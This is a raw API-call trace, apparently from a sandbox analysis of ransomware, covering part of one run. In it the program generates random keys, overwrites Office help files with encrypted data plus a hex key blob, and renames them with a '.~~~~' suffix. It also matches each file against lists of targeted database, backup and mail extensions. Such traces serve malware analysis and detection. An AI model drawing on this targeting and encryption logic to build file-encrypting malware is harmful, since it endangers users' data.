	[0134.148] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.~~~~")) returned 1
	[0134.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.151] GetLastError () returned 0x0
	[0134.152] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a10c0) returned 1
	[0134.153] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.153] CryptReleaseContext (hProv=0x3a10c0, dwFlags=0x0) returned 1
	[0134.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.153] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25414325048) returned 1
	[0134.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb9689170, dwHighDateTime=0x1d60e1e)) 
	[0134.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824bb0
	[0134.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824bb0 | out: hHeap=0x300000) returned 1
	[0134.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399ef0
	[0134.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0134.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ef0 | out: hHeap=0x300000) returned 1
	[0134.154] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.154] GetLastError () returned 0x0
	[0134.154] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.154] GetLastError () returned 0x0
	[0134.317] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffd70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.317] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x290, lpOverlapped=0x0) returned 1
	[0134.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.320] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.320] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.320] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.320] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.320] CloseHandle (hObject=0xc4) returned 1
	[0134.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a190
	[0134.320] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.~~~~")) returned 1
	[0134.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.322] GetLastError () returned 0x0
	[0134.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".scr") returned 0x0
	[0134.323] lstrlenW (lpString=".cmd") returned 4
	[0134.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".cmd") returned 0x0
	[0134.323] lstrlenW (lpString=".dll") returned 4
	[0134.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".dll") returned 0x0
	[0134.323] lstrlenW (lpString=".bat") returned 4
	[0134.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".bat") returned 0x0
	[0134.323] lstrlenW (lpString=".cpl") returned 4
	[0134.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".cpl") returned 0x0
	[0134.323] lstrlenW (lpString=".sys") returned 4
	[0134.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".sys") returned 0x0
	[0134.323] lstrlenW (lpString=".msc") returned 4
	[0134.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".msc") returned 0x0
	[0134.323] lstrlenW (lpString=".com") returned 4
	[0134.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".com") returned 0x0
	[0134.323] lstrlenW (lpString=".lnk") returned 4
	[0134.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".lnk") returned 0x0
	[0134.323] lstrlenW (lpString=".msp") returned 4
	[0134.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".msp") returned 0x0
	[0134.323] lstrlenW (lpString=".pif") returned 4
	[0134.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".pif") returned 0x0
	[0134.323] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0134.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0134.325] lstrlenW (lpString=".sqb") returned 4
	[0134.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".sqb") returned 0x0
	[0134.325] lstrlenW (lpString=".ost") returned 4
	[0134.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".ost") returned 0x0
	[0134.325] lstrlenW (lpString=".txt") returned 4
	[0134.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".txt") returned 0x0
	[0134.325] lstrlenW (lpString=".mdt") returned 4
	[0134.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".mdt") returned 0x0
	[0134.325] lstrlenW (lpString=".BDB") returned 4
	[0134.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".BDB") returned 0x0
	[0134.325] lstrlenW (lpString=".eql") returned 4
	[0134.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".eql") returned 0x0
	[0134.325] lstrlenW (lpString=".DBF") returned 4
	[0134.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".DBF") returned 0x0
	[0134.325] lstrlenW (lpString=".EQL") returned 4
	[0134.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".EQL") returned 0x0
	[0134.325] lstrlenW (lpString=".FDB") returned 4
	[0134.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".FDB") returned 0x0
	[0134.325] lstrlenW (lpString=".EDB") returned 4
	[0134.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".EDB") returned 0x0
	[0134.325] lstrlenW (lpString=".DACPAC") returned 7
	[0134.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0134.326] lstrlenW (lpString=".VHD") returned 4
	[0134.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".VHD") returned 0x0
	[0134.326] lstrlenW (lpString=".DBV") returned 4
	[0134.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".DBV") returned 0x0
	[0134.326] lstrlenW (lpString=".dacpac") returned 7
	[0134.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0134.326] lstrlenW (lpString=".sdf") returned 4
	[0134.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".sdf") returned 0x0
	[0134.326] lstrlenW (lpString=".accdb") returned 6
	[0134.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".accdb") returned 0x0
	[0134.326] lstrlenW (lpString=".DBX") returned 4
	[0134.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".DBX") returned 0x0
	[0134.326] lstrlenW (lpString=".MDT") returned 4
	[0134.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".MDT") returned 0x0
	[0134.326] lstrlenW (lpString=".SQB") returned 4
	[0134.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".SQB") returned 0x0
	[0134.326] lstrlenW (lpString=".vhd") returned 4
	[0134.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".vhd") returned 0x0
	[0134.326] lstrlenW (lpString=".bac") returned 4
	[0134.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".bac") returned 0x0
	[0134.326] lstrlenW (lpString=".mdf") returned 4
	[0134.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".mdf") returned 0x0
	[0134.326] lstrlenW (lpString=".BAK") returned 4
	[0134.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".BAK") returned 0x0
	[0134.326] lstrlenW (lpString=".BAC") returned 4
	[0134.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".BAC") returned 0x0
	[0134.327] lstrlenW (lpString=".dbs") returned 4
	[0134.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".dbs") returned 0x0
	[0134.327] lstrlenW (lpString=".vhdx") returned 5
	[0134.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0134.327] lstrlenW (lpString=".NDF") returned 4
	[0134.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".NDF") returned 0x0
	[0134.327] lstrlenW (lpString=".dat") returned 4
	[0134.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".dat") returned 0x0
	[0134.327] lstrlenW (lpString=".DBS") returned 4
	[0134.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".DBS") returned 0x0
	[0134.327] lstrlenW (lpString=".CKP") returned 4
	[0134.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".CKP") returned 0x0
	[0134.327] lstrlenW (lpString=".edb") returned 4
	[0134.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".edb") returned 0x0
	[0134.327] lstrlenW (lpString=".PST") returned 4
	[0134.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".PST") returned 0x0
	[0134.327] lstrlenW (lpString=".dbf") returned 4
	[0134.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".dbf") returned 0x0
	[0134.327] lstrlenW (lpString=".SQL") returned 4
	[0134.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".SQL") returned 0x0
	[0134.327] lstrlenW (lpString=".pst") returned 4
	[0134.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".pst") returned 0x0
	[0134.327] lstrlenW (lpString=".dbv") returned 4
	[0134.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".dbv") returned 0x0
	[0134.328] lstrlenW (lpString=".SDF") returned 4
	[0134.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".SDF") returned 0x0
	[0134.328] lstrlenW (lpString=".dtxs") returned 5
	[0134.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0134.328] lstrlenW (lpString=".db3") returned 4
	[0134.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".db3") returned 0x0
	[0134.328] lstrlenW (lpString=".OST") returned 4
	[0134.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".OST") returned 0x0
	[0134.328] lstrlenW (lpString=".dbx") returned 4
	[0134.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".dbx") returned 0x0
	[0134.328] lstrlenW (lpString=".DB3") returned 4
	[0134.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".DB3") returned 0x0
	[0134.328] lstrlenW (lpString=".DAT") returned 4
	[0134.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".DAT") returned 0x0
	[0134.328] lstrlenW (lpString=".VHDX") returned 5
	[0134.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0134.328] lstrlenW (lpString=".ndf") returned 4
	[0134.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".ndf") returned 0x0
	[0134.328] lstrlenW (lpString=".DB") returned 3
	[0134.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".DB") returned 0x0
	[0134.328] lstrlenW (lpString=".sql") returned 4
	[0134.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".sql") returned 0x0
	[0134.328] lstrlenW (lpString=".MYD") returned 4
	[0134.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".MYD") returned 0x0
	[0134.328] lstrlenW (lpString=".DBT") returned 4
	[0134.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".DBT") returned 0x0
	[0134.328] lstrlenW (lpString=".ACCDB") returned 6
	[0134.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0134.329] lstrlenW (lpString=".fdb") returned 4
	[0134.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".fdb") returned 0x0
	[0134.329] lstrlenW (lpString=".bak") returned 4
	[0134.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".bak") returned 0x0
	[0134.329] lstrlenW (lpString=".myd") returned 4
	[0134.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".myd") returned 0x0
	[0134.329] lstrlenW (lpString=".DTXS") returned 5
	[0134.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0134.329] lstrlenW (lpString=".ckp") returned 4
	[0134.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".ckp") returned 0x0
	[0134.329] lstrlenW (lpString=".dbt") returned 4
	[0134.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".dbt") returned 0x0
	[0134.329] lstrlenW (lpString=".db") returned 3
	[0134.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".db") returned 0x0
	[0134.329] lstrlenW (lpString=".TXT") returned 4
	[0134.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".TXT") returned 0x0
	[0134.329] lstrlenW (lpString=".MDF") returned 4
	[0134.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".MDF") returned 0x0
	[0134.329] lstrlenW (lpString=".bdb") returned 4
	[0134.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".bdb") returned 0x0
	[0134.329] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0134.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.330] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0ea0) returned 1
	[0134.331] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.331] CryptReleaseContext (hProv=0x3a0ea0, dwFlags=0x0) returned 1
	[0134.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.331] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25432109470) returned 1
	[0134.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb982c090, dwHighDateTime=0x1d60e1e)) 
	[0134.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824e50
	[0134.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824e50 | out: hHeap=0x300000) returned 1
	[0134.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4cf0
	[0134.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.332] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.332] GetLastError () returned 0x0
	[0134.332] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.332] GetLastError () returned 0x0
	[0134.334] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffd93, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.335] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x26d, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x26d, lpOverlapped=0x0) returned 1
	[0134.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.335] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.335] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.335] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.335] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.335] CloseHandle (hObject=0xc4) returned 1
	[0134.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4cf0
	[0134.335] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.~~~~")) returned 1
	[0134.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4cf0 | out: hHeap=0x300000) returned 1
	[0134.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
